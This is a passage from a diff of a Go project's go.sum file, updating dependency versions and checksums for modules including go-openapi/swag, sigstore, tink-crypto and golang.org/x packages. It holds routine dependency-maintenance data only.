h1:ib5jMUqGq5tY1EyO4inlrabsaeDAleFU+XD1FXQcgp8= +github.com/go-openapi/swag/fileutils v0.27.0/go.mod h1:VvJFZLTZS0AI854gEQz5tk7dBESdLjiNUMSZ/th2ry8= +github.com/go-openapi/swag/jsonname v0.27.0 h1:4QVB//CKOdE8IOiBg19JNY2wfDS48MhesIquYBy2rUE= +github.com/go-openapi/swag/jsonname v0.27.0/go.mod h1:I1YsyvvhBuZsFXSW6I7ODfdyq13p7hDil//1T9/pFFk= +github.com/go-openapi/swag/jsonutils v0.27.0 h1:VYtd9jEQYeU4j8q5vdn5KWotF4vKywhGdMBrALtAsfE= +github.com/go-openapi/swag/jsonutils v0.27.0/go.mod h1:U7pb8AGuwhok3RDicHeHwSG4L3PXSq6PAL98Aon632g= +github.com/go-openapi/swag/jsonutils/fixtures_test v0.27.0 h1:+d7C7Ur/SsGg/UZ9G0JEovnfRqtMNZCJQGKc2h/ojoE= +github.com/go-openapi/swag/jsonutils/fixtures_test v0.27.0/go.mod h1:mofwUWx70wvskwESqRJ//k/9kURmCgyJl5m5Ppoh5kY= +github.com/go-openapi/swag/loading v0.27.0 h1:s8DA9aPEdFH6OluHUYUn3DnIuoTdyWs9RwffXBUfyeI= +github.com/go-openapi/swag/loading v0.27.0/go.mod h1:VOz+Jg6UGGywcmRvYsI4fvtp+bd7NfioseGEPleYdA4= +github.com/go-openapi/swag/mangling v0.27.0 h1:rpPJuqQHa6z2pDiP3iIpXOyNXlSs9cQCxnJSAxzdfOc= +github.com/go-openapi/swag/mangling v0.27.0/go.mod h1:jtBE2+V+3pILxOR7Vgce+Cwp6A2PgZbvVqfNntbVs0w= +github.com/go-openapi/swag/netutils v0.27.0 h1:lEUG+hHvPvLggB3A8snFk0IRKNf9uC0YKc+7WYqvAF8= +github.com/go-openapi/swag/netutils v0.27.0/go.mod h1:J+WYyFMLtvtCGqa6jLv+YNUmIKI3ZRQRrvfNDMoQoEQ= +github.com/go-openapi/swag/stringutils v0.27.0 h1:Of7w/HljWsNZvuxsUAnw3n+hCOyI6HLJOxW2kQRAxio= +github.com/go-openapi/swag/stringutils v0.27.0/go.mod h1:lzRN95CxXmA03XcDWHLOb6nOMcxCqR5rGY0lOgsfRoM= github.com/go-openapi/swag/typeutils v0.27.0 h1:aCf4MSGo8NLwZP8Q6t32DWLJSvl/WwNqgmEG+xJ6v2o= github.com/go-openapi/swag/typeutils v0.27.0/go.mod h1:Srm0xFNRZ1Y+vCxJclo5qzx8aj+1pAKda/YfFPrG0dQ= -github.com/go-openapi/swag/yamlutils v0.26.1 h1:0TSLK+lXs9vfIhAWzBeI/lOzEnIoot6WTCO1aAeWFTk= -github.com/go-openapi/swag/yamlutils v0.26.1/go.mod h1:7W5b7PRX9MxwL7TjeG7H8HkyBGRsIDRObhyMWFgBI2M= -github.com/go-openapi/testify/enable/yaml/v2 v2.5.1 h1:q9NtHwK4qHF7yZziBPvZyv7zWAIk8ok88Gh2mR6Jpc8= -github.com/go-openapi/testify/enable/yaml/v2 v2.5.1/go.mod h1:JW0MXIotCYps/XsgJnG3a8Q7rE5xAiBwoOD5OfaIQBk= +github.com/go-openapi/swag/yamlutils v0.27.0 h1:bQ6eAMil5X9tdcf7dMn4t15alzG6jddnrKPuKa/zxKM= +github.com/go-openapi/swag/yamlutils v0.27.0/go.mod h1:yRfIo7qqVkmJRQjX8exjA3AfcI8rH1KDNPsTparoCv4= +github.com/go-openapi/testify/enable/yaml/v2 v2.6.0 h1:gGHwAJ0R/5jU8BEGDbfRNR3hL68dAVi84WuOApp29B0= +github.com/go-openapi/testify/enable/yaml/v2 v2.6.0/go.mod h1:tY+St1SGq4NFl0QIqdTY4aEdbChAHxhyB77XQi9iJCo= github.com/go-openapi/testify/v2 v2.6.0 h1:5PKH2HE7YJ/LuRPQGvSxBRlFXNQhSetBLlGAgUEu3ug= github.com/go-openapi/testify/v2 v2.6.0/go.mod h1:SgsVHtfooshd0tublTtJ50FPKhujf47YRqauXXOUxfw= github.com/go-openapi/validate v0.26.0 h1:dxWzQ3F+vb1SajqUxHjwb5T4mTpSHmdrtv5Bi7+ZNhw= @@ -236,8 +227,8 @@ github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/google/certificate-transparency-go v1.3.3 h1:hq/rSxztSkXN2tx/3jQqF6Xc0O565UQPdHrOWvZwybo= github.com/google/certificate-transparency-go v1.3.3/go.mod h1:iR17ZgSaXRzSa5qvjFl8TnVD5h8ky2JMVio+dzoKMgA= -github.com/google/gnostic-models v0.7.0 h1:qwTtogB15McXDaNqTZdzPJRHvaVJlAl+HVQnLmJEJxo= -github.com/google/gnostic-models v0.7.0/go.mod h1:whL5G0m6dmc5cPxKc5bdKdEN3UjI7OUGxBlw57miDrQ= +github.com/google/gnostic-models v0.7.1 h1:SisTfuFKJSKM5CPZkffwi6coztzzeYUhc3v4yxLWH8c= +github.com/google/gnostic-models v0.7.1/go.mod h1:whL5G0m6dmc5cPxKc5bdKdEN3UjI7OUGxBlw57miDrQ= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/go-containerregistry v0.21.7 h1:/vPFuVXDjtFREsVArW+0h1CIl5urnOhzei4X2DMW9IU= @@ -257,10 +248,8 @@ github.com/googleapis/gax-go/v2 v2.22.0 h1:PjIWBpgGIVKGoCXuiCoP64altEJCj3/Ei+kSU github.com/googleapis/gax-go/v2 v2.22.0/go.mod h1:irWBbALSr0Sk3qlqb9SyJ1h68WjgeFuiOzI4Rqw5+aY= github.com/gookit/assert v0.1.1 h1:lh3GcawXe/p+cU7ESTZ5Ui3Sm/x8JWpIis4/1aF0mY0= github.com/gookit/assert v0.1.1/go.mod h1:jS5bmIVQZTIwk42uXl4lyj4iaaxx32tqH16CFj0VX2E= -github.com/gookit/color v1.4.2/go.mod h1:fqRyamkC1W8uxl+lxCQxOT09l/vYfZ+QeiX3rKQHCoQ= -github.com/gookit/color v1.5.0/go.mod h1:43aQb+Zerm/BWh2GnrgOQm7ffz7tvQXEKV6BFMl7wAo= -github.com/gookit/color v1.6.0 h1:JjJXBTk1ETNyqyilJhkTXJYYigHG24TM9Xa2M1xAhRA= -github.com/gookit/color v1.6.0/go.mod h1:9ACFc7/1IpHGBW8RwuDm/0YEnhg3dwwXpoMsmtyHfjs= +github.com/gookit/color v1.6.1 h1:KoTnDxJPRgrL0SoX0f8rCFg2zI0t4E3GZZBMo2nN8LU= +github.com/gookit/color v1.6.1/go.mod h1:9ACFc7/1IpHGBW8RwuDm/0YEnhg3dwwXpoMsmtyHfjs= github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 h1:UH//fgunKIs4JdUbpDl1VZCDaL56wXCB/5+wF6uHfaI= github.com/grpc-ecosystem/go-grpc-middleware v1.4.0/go.mod h1:g5qyo/la0ALbONm6Vbp88Yd8NsDy6rZz+RcrMPxvld8= github.com/grpc-ecosystem/grpc-gateway/v2 v2.29.0 h1:5VipnvEpbqr2gA2VbM+nYVbkIF28c5ZQfqCBQ5g2xfk= @@ -304,13 +293,10 @@ github.com/jmhodges/clock v1.2.0 h1:eq4kys+NI0PLngzaHEe7AmPT90XMGIEySD1JfV1PDIs= github.com/jmhodges/clock v1.2.0/go.mod h1:qKjhA7x7u/lQpPB1XAqX1b1lCI/w3/fNuYpI/ZjLynI= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= -github.com/kevinburke/ssh_config v1.2.0 h1:x584FjTGwHzMwvHx18PXxbBVzfnxogHaAReU4gf13a4= -github.com/kevinburke/ssh_config v1.2.0/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM= -github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= -github.com/klauspost/cpuid/v2 v2.0.10/go.mod h1:g2LTdtYhdyuGPqyWyv7qRAmj1WBqxuObKfj5c0PQa7c= -github.com/klauspost/cpuid/v2 v2.0.12/go.mod h1:g2LTdtYhdyuGPqyWyv7qRAmj1WBqxuObKfj5c0PQa7c= -github.com/klauspost/cpuid/v2 v2.3.0 h1:S4CRMLnYUhGeDFDqkGriYKdfoFlDnMtqTiI/sFzhA9Y= -github.com/klauspost/cpuid/v2 v2.3.0/go.mod h1:hqwkgyIinND0mEev00jJYCxPNVRVXFQeu1XKlok6oO0= +github.com/kevinburke/ssh_config v1.6.0 h1:J1FBfmuVosPHf5GRdltRLhPJtJpTlMdKTBjRgTaQBFY= +github.com/kevinburke/ssh_config v1.6.0/go.mod h1:q2RIzfka+BXARoNexmF9gkxEX7DmvbW9P4hIVx2Kg4M= +github.com/klauspost/cpuid/v2 v2.4.0 h1:S6Hrbc7+ywsr0r+RLapfGBHfyefhCTwEh3A0tV913Dw= +github.com/klauspost/cpuid/v2 v2.4.0/go.mod h1:19jmZ9mjzoF//ddRSUsv0zfBTJWh3QJh9FNxZTMrGxU= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= @@ -326,9 +312,8 @@ github.com/lithammer/fuzzysearch v1.1.8 h1:/HIuJnjHuXS8bKaiTMeeDlW2/AyIWk2brx1V8 github.com/lithammer/fuzzysearch v1.1.8/go.mod h1:IdqeyBClc3FFqSzYq/MXESsS4S0FsZ5ajtkr5xPLts4= github.com/manifoldco/promptui v0.9.0 h1:3V4HzJk1TtXW1MTZMP7mdlwbBpIinw3HztaIlYthEiA= github.com/manifoldco/promptui v0.9.0/go.mod h1:ka04sppxSGFAtxX0qhlYQjISsg9mR4GWtQEhdbn6Pgg= -github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= -github.com/mattn/go-runewidth v0.0.20 h1:WcT52H91ZUAwy8+HUkdM3THM6gXqXuLJi9O3rjcQQaQ= -github.com/mattn/go-runewidth v0.0.20/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs= +github.com/mattn/go-runewidth v0.0.24 h1:cpokDiIn0MGnhdHwuWnJBITySJ20QyNGnY2kR/ay2DU= +github.com/mattn/go-runewidth v0.0.24/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs= github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= @@ -365,18 +350,10 @@ github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNw github.com/prometheus/client_model v0.6.2/go.mod h1:y3m2F6Gdpfy6Ut/GBsUqTWZqCUvMVzSfMLjcu6wAwpE= github.com/prometheus/common v0.67.5 h1:pIgK94WWlQt1WLwAC5j2ynLaBRDiinoAb86HZHTUGI4= github.com/prometheus/common v0.67.5/go.mod h1:SjE/0MzDEEAyrdr5Gqc6G+sXI67maCxzaT3A2+HqjUw= -github.com/prometheus/procfs v0.20.1 h1:XwbrGOIplXW/AU3YhIhLODXMJYyC1isLFfYCsTEycfc= -github.com/prometheus/procfs v0.20.1/go.mod h1:o9EMBZGRyvDrSPH1RqdxhojkuXstoe4UlK79eF5TGGo= -github.com/pterm/pterm v0.12.27/go.mod h1:PhQ89w4i95rhgE+xedAoqous6K9X+r6aSOI2eFF7DZI= -github.com/pterm/pterm v0.12.29/go.mod h1:WI3qxgvoQFFGKGjGnJR849gU0TsEOvKn5Q8LlY1U7lg= -github.com/pterm/pterm v0.12.30/go.mod h1:MOqLIyMOgmTDz9yorcYbcw+HsgoZo3BQfg2wtl3HEFE= -github.com/pterm/pterm v0.12.31/go.mod h1:32ZAWZVXD7ZfG0s8qqHXePte42kdz8ECtRyEejaWgXU= -github.com/pterm/pterm v0.12.33/go.mod h1:x+h2uL+n7CP/rel9+bImHD5lF3nM9vJj80k9ybiiTTE= -github.com/pterm/pterm v0.12.36/go.mod h1:NjiL09hFhT/vWjQHSj1athJpx6H8cjpHXNAK5bUw8T8= -github.com/pterm/pterm v0.12.40/go.mod h1:ffwPLwlbXxP+rxT0GsgDTzS3y3rmpAO1NMjUkGTYf8s= +github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI= +github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY= github.com/pterm/pterm v0.12.83 h1:ie+YmGmA727VuhxBlyGr74Ks+7McV6kT99IB8EU80aA= github.com/pterm/pterm v0.12.83/go.mod h1:xlgc6bFWyJIMtmLJvGim+L7jhSReilOlOnodeIYe4Tk= -github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ= github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= @@ -388,7 +365,6 @@ github.com/sassoftware/relic/v7 v7.6.2 h1:rS44Lbv9G9eXsukknS4mSjIAuuX+lMq/FnStgm github.com/sassoftware/relic/v7 v7.6.2/go.mod h1:kjmP0IBVkJZ6gXeAu35/KCEfca//+PKM6vTAsyDPY+k= github.com/secure-systems-lab/go-securesystemslib v0.11.0 h1:iuCR9kcMFD4QurdKrGvPLoKZLv9YvwPYVr0473BdtFs= github.com/secure-systems-lab/go-securesystemslib v0.11.0/go.mod h1:+PMOTjUGwHj2vcZ+TFKlb1tXRbrdWE1LYDT5i9JC80Q= -github.com/sergi/go-diff v1.2.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM= github.com/sergi/go-diff v1.4.0 h1:n/SP9D5ad1fORl+llWyN+D6qoUETXNZARKjyY2/KVCw= github.com/sergi/go-diff v1.4.0/go.mod h1:A0bzQcvG0E7Rwjx0REVgAGH58e96+X0MeOfepqsbeW4= github.com/shibumi/go-pathspec v1.3.0 h1:QUyMZhFo0Md5B8zV8x2tesohbb5kfbpTi9rBnKh5dkI= @@ -411,11 +387,11 @@ github.com/sigstore/sigstore/pkg/signature/kms/gcp v1.10.8 h1:MxpAIMZVzn0Tpbarc9 github.com/sigstore/sigstore/pkg/signature/kms/gcp v1.10.8/go.mod h1:bnAUEkFNam6STvkVZhptVwWzWR5pS24CEtQ+lhxu7S0= github.com/sigstore/sigstore/pkg/signature/kms/hashivault v1.10.8 h1:1DGe4/clcdOnkz5MINEczWlmEvjUtZd+AjPPT/cBhQ8= github.com/sigstore/sigstore/pkg/signature/kms/hashivault v1.10.8/go.mod h1:6IDFhpgxtzqbnzrFkyegbj7RfWwKeRrb3/+xAD1Wp+Y= -github.com/sigstore/timestamp-authority/v2 v2.1.2 h1:7DDhnknLL4w8VwomyvW2W8qblOS9LDR8oihna+jc7Ls= -github.com/sigstore/timestamp-authority/v2 v2.1.2/go.mod h1:o6rAVZceFyejClIj/uStRNIemP16bVMZtbMmhk6pr0U= +github.com/sigstore/timestamp-authority/v2 v2.1.3 h1:Fc+LjCTfik1lh3YLkaosENfkXa3R2Y1nswiUKutBdFA= +github.com/sigstore/timestamp-authority/v2 v2.1.3/go.mod h1:myoFOKJB/u5vNTFwvBBJVkG3NnOBeIJevbfjNeasLjo= github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= -github.com/skeema/knownhosts v1.3.1 h1:X2osQ+RAjK76shCbvhHHHVl3ZlgDm8apHEHFqRjnBY8= -github.com/skeema/knownhosts v1.3.1/go.mod h1:r7KTdC8l4uxWRyK2TpQZ/1o5HaSzh06ePQNxPwTcfiY= +github.com/skeema/knownhosts v1.3.2 h1:EDL9mgf4NzwMXCTfaxSD/o/a5fxDw/xL9nkU28JjdBg= +github.com/skeema/knownhosts v1.3.2/go.mod h1:bEg3iQAuw+jyiw+484wwFJoKSLwcfd7fqRy+N0QTiow= github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU= github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4= github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= @@ -427,8 +403,6 @@ github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/ github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= -github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= github.com/theupdateframework/go-tuf v0.7.0 h1:CqbQFrWo1ae3/I0UCblSbczevCCbS31Qvs5LdxRWqRI= @@ -437,12 +411,12 @@ github.com/theupdateframework/go-tuf/v2 v2.4.2 h1:w7976/W8uTwlsegP5nRymlpjPgrwSh github.com/theupdateframework/go-tuf/v2 v2.4.2/go.mod h1:JqBrIUnNLAaNq/8GmBcEMFWfAFBbqp/MkJEJseXKbks= github.com/tink-crypto/tink-go-awskms/v3 v3.0.0 h1:XSohRhCkXAVI0iaCnWB/GS05TEmpnKurQmzaY1jzt3Y= github.com/tink-crypto/tink-go-awskms/v3 v3.0.0/go.mod h1:+7MXsShLzVbSQ6dI0Pe4JuZM52jD1jQ1itAygd/MDsA= -github.com/tink-crypto/tink-go-gcpkms/v2 v2.2.0 h1:3B9i6XBXNTRspfkTC0asN5W0K6GhOSgcujNiECNRNb0= -github.com/tink-crypto/tink-go-gcpkms/v2 v2.2.0/go.mod h1:jY5YN2BqD/KSCHM9SqZPIpJNG/u3zwfLXHgws4x2IRw= +github.com/tink-crypto/tink-go-gcpkms/v2 v2.3.0 h1:3s6YMgMOBZRU8qG6ybpKSF2Sau+y3sMvxR911M59SwA= +github.com/tink-crypto/tink-go-gcpkms/v2 v2.3.0/go.mod h1:X8UNvbQu2wanAGa8ixRUU/DWt1V2hUBfvPGy6s9nE2s= github.com/tink-crypto/tink-go-hcvault/v2 v2.5.0 h1:eXuNqgrcYelxU1MVikOJDP3wTS5lvihM4ntoAbAMfvs= github.com/tink-crypto/tink-go-hcvault/v2 v2.5.0/go.mod h1:3RhcxAqek6xUlRFmJifvU4CYLZN60KMQdIKqpZAZJG0= -github.com/tink-crypto/tink-go/v2 v2.6.0 h1:+KHNBHhWH33Vn+igZWcsgdEPUxKwBMEe0QC60t388v4= -github.com/tink-crypto/tink-go/v2 v2.6.0/go.mod h1:2WbBA6pfNsAfBwDCggboaHeB2X29wkU8XHtGwh2YIk8= +github.com/tink-crypto/tink-go/v2 v2.7.0 h1:k7QnUXJ1cRDpvoy/5l1FimZqMAArRff8vjUqzi5N04o= +github.com/tink-crypto/tink-go/v2 v2.7.0/go.mod h1:cWNpQ/yAT/QHzAV0kBGMOSJzzYTKofDZdJaUqOPPWCI= github.com/titanous/rocacheck v0.0.0-20171023193734-afe73141d399 h1:e/5i7d4oYZ+C1wj2THlRK+oAhjeS/TRQwMfkIuet3w0= github.com/titanous/rocacheck v0.0.0-20171023193734-afe73141d399/go.mod h1:LdwHTNJT99C5fTAzDz0ud328OgXz+gierycbcIx2fRs= github.com/transparency-dev/formats v0.1.1 h1:4bVHJc+KdBgpA1OJD1yjI+g0i5Z1graCppTMH8lWKJI= @@ -453,7 +427,6 @@ github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM= github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg= github.com/xanzy/ssh-agent v0.3.3 h1:+/15pJfg/RsTxqYcX6fHqOXZwwMP+2VyYWJeWM2qQFM= github.com/xanzy/ssh-agent v0.3.3/go.mod h1:6dzNDKs0J9rVPHPhaGCukekBHKqfl+L3KghI1Bc68Uw= -github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778/go.mod h1:2MuV+tbUrU1zIOPMxZ5EncGwgmMJsa+9ucAQZXxsObs= github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no= github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM= github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 h1:ilQV1hzziu+LLM3zUTJ0trRztfwgjqKnBWNtSRkbmwM= @@ -492,61 +465,56 @@ go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= -golang.org/x/crypto v0.53.0 h1:QZ4Muo8THX6CizN2vPPd5fBGHyogrdK9fG4wLPFUsto= -golang.org/x/crypto v0.53.0/go.mod h1:DNLU434OwVakk9PzuwV8w62mAJpRJL3vsgcfp4Qnsio= +golang.org/x/crypto v0.54.0 h1:YLIA59K4fiNzHzjnZt2tUJQjQtUWfWbeHBqKtk3eScw= +golang.org/x/crypto v0.54.0/go.mod h1:KWL8ny2AZdGR2cWmzeHrp2azQPGogOv+HeQaVEXC2dk= golang.org/x/exp v0.0.0-20260410095643-746e56fc9e2f h1:W3F4c+6OLc6H2lb//N1q4WpJkhzJCK5J6kUi1NTVXfM= golang.org/x/exp v0.0.0-20260410095643-746e56fc9e2f/go.mod h1:J1xhfL/vlindoeF/aINzNzt2Bket5bjo9sdOYzOsU80= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/mod v0.37.0 h1:vF1DjpVEshcIqoEaauuHebaLk1O1forxjxBaVn884JQ= -golang.org/x/mod v0.37.0/go.mod h1:m8S8VeM9r4dzDwjrKO0a1sZP3YjeMamRRlD+fmR2Q/0= +golang.org/x/mod v0.38.0 h1:MECBjubtXD7yj4HrhIUcywNaGeNVUdfVnxmPajOk4yk= +golang.org/x/mod v0.38.0/go.mod h1:V6Xz0pq8TQ3dGqVQ1FVHuelZpAL0uNhSkk9ogYP3c40= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.56.0 h1:Rw8j/hFzGvJUZwNBXnAtf5sVDVt+65SK2C7IxCxZt5o= -golang.org/x/net v0.56.0/go.mod h1:D3Ku6r+V6JROoZK144D2XfMHFcMq/0zSfLelVTCFKec= +golang.org/x/net v0.57.0 h1:K5+3DljvIuDG9/Jv9rvyMywYNFCQ9RSUY6OOTTkT+tE= +golang.org/x/net v0.57.0/go.mod h1:KpXc8iv+r3XplLAG/f7Jsf9RPszJzdR0f58q9vGOuEU= golang.org/x/oauth2 v0.36.0 h1:peZ/1z27fi9hUOFCAZaHyrpWG5lwe0RJEEEeH0ThlIs= golang.org/x/oauth2 v0.36.0/go.mod h1:YDBUJMTkDnJS+A4BP4eZBjCqtokkg1hODuPjwiGPO7Q= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.21.0 h1:HLII4xRRTtCRkxYp4HNFF0Js/Og6q2i++KXbg0gHCwM= -golang.org/x/sync v0.21.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= +golang.org/x/sync v0.22.0 h1:SZjpbeLmrCk4xhRSZFNZW5gFUeCeFgjekvI/+gfScek= +golang.org/x/sync v0.22.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= golang.org/x/sys v0.0.0-20181122145206-62eef0e2fa9b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211013075003-97ac67df715c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220310020820-b874c991c1a5/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.1.0/go.mod 